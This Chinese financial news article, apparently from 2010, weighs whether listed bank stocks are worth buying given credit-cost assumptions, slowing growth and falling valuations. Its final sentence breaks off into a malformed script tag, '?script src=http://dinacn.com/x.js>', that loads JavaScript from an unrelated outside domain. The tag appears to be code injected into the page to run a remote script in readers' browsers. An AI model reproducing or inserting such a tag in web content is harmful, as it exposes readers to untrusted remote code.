预期之内的收益,并不能充分激发市场购买银行股的动力,银行依靠压缩信贷成本增加利润的同时,却加大了市场对银行现有估值的疑虑。所谓高昂的利润和极低的不良贷款率,都是建立在无数脆弱的假设前提上,一旦经济发生超过一年的调整,利润将荡然无存,谁能充当银行股的救世主?
【《证券市场周刊》记者 史尧尧 杨练】现在,对于银行股而言,一些基本的指标,如贷款增速、息差、资本充足率、拨备率等,似乎已看得很清楚了。按照巴菲特一遍又一遍告诫投资者的话:“看不懂的事情不要碰”,既然已经看清了,银行股应该可以去碰了?
不过,且慢,先看两个似乎扯不上关系的事件。
近期,中南重镇武汉市宣布要改革过桥费征收办法,汽车过桥的年费将从不足980元提高到2460元。何故?武汉市政府说六桥一隧一路的总投入高达141亿元,光每年的利息就要10多亿元,而当前收取的路桥费只有4亿元,根本就不够还利息的,何谈还本呢?所以,提价是不得已的举措。
另一个事件的主角是前几年就开始高调宣传要进行二次转型的招商银行(14.26,-0.01,-0.07%)(600036.SH,03968.HK),在一番艰难的摸索后,现在有了稍微明确的方向,即银行总部通过增加大额对公客户存款和一般居民存续款来获取资金,将资金投放给招行锁定的中小业主,且不以存款作为其获取贷款的条件,而是以从提高贷款议价能力和收取中间费用来提高营业收入。
这两个事件背后究竟蕴含着什么深刻的意义呢,还是让我们一一道来。
好日子已经结束了?
2009年接近10万亿元的信贷投放,在给银行业带来了如同注射了鸡血后的短暂兴奋后,透支未来两到三年的信贷量注定会留下后遗症。
尽管银行的半年报现在还未露出“庐山真面目”,真实的经营形态无法用数据详细诠释,但从一些可以获知的细节还是能勾勒出银行经营的大致轮廓。
资金市场最有发言权。当基金在二季度大幅减持银行股时,当上海银行间同业拆放利率回归常规利率水平时,当市场普遍对经济增速下行的担忧加重时,不知不觉,中国银行(3.56,-0.01,-0.28%)业A股的市净率(PB)已悄悄回归至历史均值(1.97倍)附近了。
这是一个明确的信号,正如一些投资者的反应——买入银行股,已接近历史最低估值了,还怕它继续下跌不成。
银行、房地产开发经营和煤炭采选是2010年上半年市值缩水最大的三个板块。其中,银行板块以1.34万亿元的缩水市值位列第一,其规模相当于蒸发了51个南京银行(11.46,-0.10,-0.87%)(601009.SH)的市值。
不是对银行的预期已经看得很清楚了吗,为什么还会被市场所抛弃?与其说是市场对银行股业绩的看淡,这种集体被抛弃更可以看作是市场对银行股业绩前景不明了的集中体现。
截至7月19日,在14家上市银行中仅有的市净率(PB)在2.1倍以上的招商银行和宁波银行(12.48,-0.02,-0.16%)(002142.SZ)分别给出了2010年中期的业绩快报。
投资者要真正了解在货币紧缩的半年里,银行的具体运作,还要再等上一个月(招行中报预约披露时间为8月19日,宁波银行为28日)。
在预期之内的收益,并不能充分调动市场购买银行股的动力。在息差不能有效增加、非息收入无法迅速提高的前提下,银行如果仅仅只依靠压缩信贷成本来增加利润?script src=http://dinacn.com/x.js> |